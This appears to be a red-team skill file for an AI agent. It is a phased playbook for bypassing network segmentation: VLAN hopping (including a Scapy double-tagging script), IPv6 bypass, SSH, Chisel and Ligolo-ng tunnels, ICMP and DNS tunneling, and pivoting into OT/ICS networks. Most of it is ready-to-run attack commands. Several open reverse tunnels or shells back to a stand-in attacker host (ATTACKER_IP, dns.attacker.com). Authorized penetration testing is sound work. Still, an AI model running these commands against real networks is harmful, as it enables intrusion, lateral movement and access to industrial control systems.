---
name: rt-network-segmentation
description: "Network segmentation bypass skill for authorized engagements. VLAN hopping (switch spoofing, double tagging), ACL evasion techniques, IPv6 bypass of IPv4-only controls, GRE/IPIP tunnel creation, SSH and SOCKS proxy chaining for pivoting, firewall rule evasion via fragmentation and protocol manipulation, and VXLAN/SDN exploitation. Use when testing network isolation controls or pivoting through segmented networks."
---

# rt-network-segmentation — Network Segmentation Bypass

## Overview

Network segmentation divides infrastructure into zones (DMZ, internal, OT/ICS, PCI). Bypassing segmentation allows an attacker to pivot from a low-trust zone (e.g., guest WiFi, DMZ web server) into high-trust zones (internal LAN, database tier, OT network).

---

## Phase 1 — Enumerate Network Segmentation

```bash
# From compromised host — map the network
ip addr; ip route; ip neigh  # Local network info
arp -a                        # ARP table — neighbors
netstat -rn                   # Routing table

# Find other network interfaces (multi-homed host = pivot opportunity)
ifconfig -a
ip link show

# Discover accessible subnets
for subnet in 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16; do
  nmap -sn $subnet --min-rate 5000 2>/dev/null | grep "report for"
done

# Test which firewall rules are in place
# Try to reach internal targets from DMZ host
for port in 22 80 443 3389 3306 1433 8080; do
  timeout 1 bash -c "echo >/dev/tcp/INTERNAL_IP/$port" 2>/dev/null \
    && echo "OPEN: $port" || echo "BLOCKED: $port"
done
```

---

## Phase 2 — VLAN Hopping

### 2a — Switch Spoofing (DTP Negotiation)

```bash
# If switch port is in dynamic mode → negotiate trunk link
# Attacker sends DTP (Dynamic Trunking Protocol) frames to become a trunk

# Install Yersinia
apt install yersinia -y

# Negotiate 802.1Q trunk (GUI mode)
yersinia -G
# Select DTP → Enable Trunking

# CLI mode
yersinia dtp -attack 1  # Attack 1 = enable trunking

# Once trunk negotiated → create VLAN subinterface
modprobe 8021q
vconfig add eth0 200  # Create VLAN 200 interface
ip addr add 10.20.0.50/24 dev eth0.200
ip link set eth0.200 up
# Now can communicate with VLAN 200 hosts
```

### 2b — Double Tagging (One-Way)

```bash
# Exploit native VLAN misconfiguration
# Outer tag = attacker's VLAN (native, stripped by first switch)
# Inner tag = target VLAN (processed by second switch)
# Limitation: one-way — responses can't return via same path

# Create double-tagged packet
pip3 install scapy

python3 << 'EOF'
from scapy.all import *

# Double-tagged frame: outer=native VLAN(1), inner=target VLAN(200)
packet = Ether(dst="ff:ff:ff:ff:ff:ff") / \
         Dot1Q(vlan=1) / \    # Outer tag (native VLAN — gets stripped)
         Dot1Q(vlan=200) / \  # Inner tag (target VLAN)
         IP(dst="10.20.0.1") / \
         ICMP()

sendp(packet, iface="eth0")
EOF
```

---

## Phase 3 — IPv6 Bypass of IPv4-Only Controls

```bash
# Many firewall rules are IPv4-only
# If IPv6 is enabled but uncontrolled → bypass firewall

# Check if IPv6 is available
ip -6 addr
ping6 -c3 fe80::1

# Discover IPv6 addresses of hosts
nmap -6 --script ipv6-node-info fe80::%eth0/64
# Or use neighbor discovery
nmap -6 --script ipv6-neighbor -e eth0

# Try to reach blocked host via IPv6 when IPv4 is blocked
nmap -6 -sV -p 22,80,443 2001:db8::INTERNAL_IPv6
curl -6 http://[2001:db8::1]/admin

# Tunnel IPv4 over IPv6 if only IPv6 allowed outbound
# 6in4 tunnel or use socat
socat TCP-LISTEN:8080,fork TCP6:[IPv6_TARGET]:80
```

---

## Phase 4 — Tunnel Creation for Pivoting

### 4a — SSH Tunneling

```bash
# Local port forward: access INTERNAL:3306 via ATTACKER:3307
ssh -L 3307:INTERNAL_DB:3306 compromised@PIVOT_HOST -N -f

# Remote port forward: expose shell on internal host to attacker
# Run on internal host (can't reach attacker directly):
ssh -R 4444:127.0.0.1:22 attacker@ATTACKER_IP -N -f
# Then on attacker: ssh -p 4444 user@localhost

# SOCKS proxy: route all traffic through compromised host
ssh -D 1080 compromised@PIVOT_HOST -N -f
# Use with proxychains:
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains4 nmap -sT INTERNAL_SUBNET

# Multi-hop SSH tunnel (2 pivot hops)
ssh -J compromised1@HOP1,compromised2@HOP2 target@FINAL_HOST
```

### 4b — Chisel (HTTP Tunneling — Bypasses Firewalls)

```bash
# Chisel tunnels TCP over HTTP/HTTPS — works through web proxies

# On attacker
./chisel server -p 8080 --reverse

# On compromised host (outbound HTTP allowed)
./chisel client ATTACKER_IP:8080 R:socks
# Creates reverse SOCKS proxy on attacker port 1080

# Use with proxychains
proxychains4 crackmapexec smb INTERNAL_SUBNET

# Forward specific ports
./chisel client ATTACKER_IP:8080 R:3389:INTERNAL_HOST:3389
# RDP to INTERNAL_HOST via ATTACKER_IP:3389
```

### 4c — Ligolo-ng (Layer 3 Tunnel)

```bash
# Ligolo-ng creates a full Layer 3 tunnel — most transparent
# github.com/nicocha30/ligolo-ng

# On attacker — start proxy
./proxy -selfcert -laddr 0.0.0.0:443

# On compromised host
./agent -connect ATTACKER_IP:443 -ignore-cert

# In ligolo proxy console:
session  # select agent
start    # start tunnel

# Add route to internal network
ip route add 10.10.10.0/24 dev ligolo

# Now directly access internal network from attacker
nmap 10.10.10.0/24
```

---

## Phase 5 — Firewall Rule Evasion

```bash
# Fragmentation bypass (split packets to evade signature detection)
nmap -f -sS TARGET_IP  # Fragment probes into 8-byte chunks
nmap --mtu 16 TARGET_IP  # Custom MTU fragmentation

# Source port bypass (if firewall allows traffic from DNS/HTTP src ports)
nmap --source-port 53 -sU TARGET_IP  # Spoof source port 53 (DNS)
nmap --source-port 80 -sS TARGET_IP  # Spoof source port 80 (HTTP)

# Decoy scanning (hide real source among decoys)
nmap -D RND:10 TARGET_IP  # 10 random decoys

# Protocol manipulation (use allowed protocols as tunnels)
# ICMP tunneling (if ICMP allowed but TCP blocked)
ptunnel-ng -p PIVOT_HOST -lp 8080 -da INTERNAL_HOST -dp 22
# Routes TCP over ICMP echo requests

# DNS tunneling (if only DNS allowed outbound)
iodine -f -P password dns.attacker.com
# Routes IP traffic in DNS queries/responses
```

---

## Phase 6 — GRE / IP-in-IP Tunnels

```bash
# If you control both endpoints and the network allows GRE (protocol 47)

# Create GRE tunnel between two compromised hosts
# On host A:
ip tunnel add gre1 mode gre remote HOST_B_IP local HOST_A_IP
ip addr add 172.30.0.1/30 dev gre1
ip link set gre1 up

# On host B:
ip tunnel add gre1 mode gre remote HOST_A_IP local HOST_B_IP
ip addr add 172.30.0.2/30 dev gre1
ip link set gre1 up

# Route VLAN traffic through GRE tunnel
ip route add SEGMENTED_SUBNET via 172.30.0.2
```

---

## Phase 7 — OT/ICS Network Reach

```bash
# Purdue model segmentation: Enterprise → DMZ → Control → Field
# Common pivot path: IT network → historian server → OT VLAN

# Identify historian/HMI hosts (often dual-homed)
nmap -sV -p 102,502,4840,44818 HISTORIAN_IP
# 102  = Siemens S7 (ISO-TSAP)
# 502  = Modbus TCP
# 4840 = OPC UA
# 44818 = EtherNet/IP

# If historian is compromised → it has routes to OT
ip route  # Shows OT subnet routes
# Access OT PLCs directly
nmap -sT -p 102,502 OT_SUBNET
```

---

## Skill Levels

**BEGINNER:** SSH local port forward + SOCKS proxy + proxychains for basic pivoting

**INTERMEDIATE:** Chisel/Ligolo-ng for HTTP-based tunneling + VLAN hopping detection + firewall rule enumeration

**ADVANCED:** GRE tunnels + IPv6 bypass + ICMP/DNS tunneling through restrictive firewalls

**EXPERT:** VLAN double-tagging attacks + OT network reach via historian pivot + SDN/VXLAN exploitation

---

## References

- Chisel: https://github.com/jpillora/chisel
- Ligolo-ng: https://github.com/nicocha30/ligolo-ng
- Yersinia: https://github.com/tomac/yersinia
- MITRE T1599: https://attack.mitre.org/techniques/T1599/
- Network Pivoting: https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding
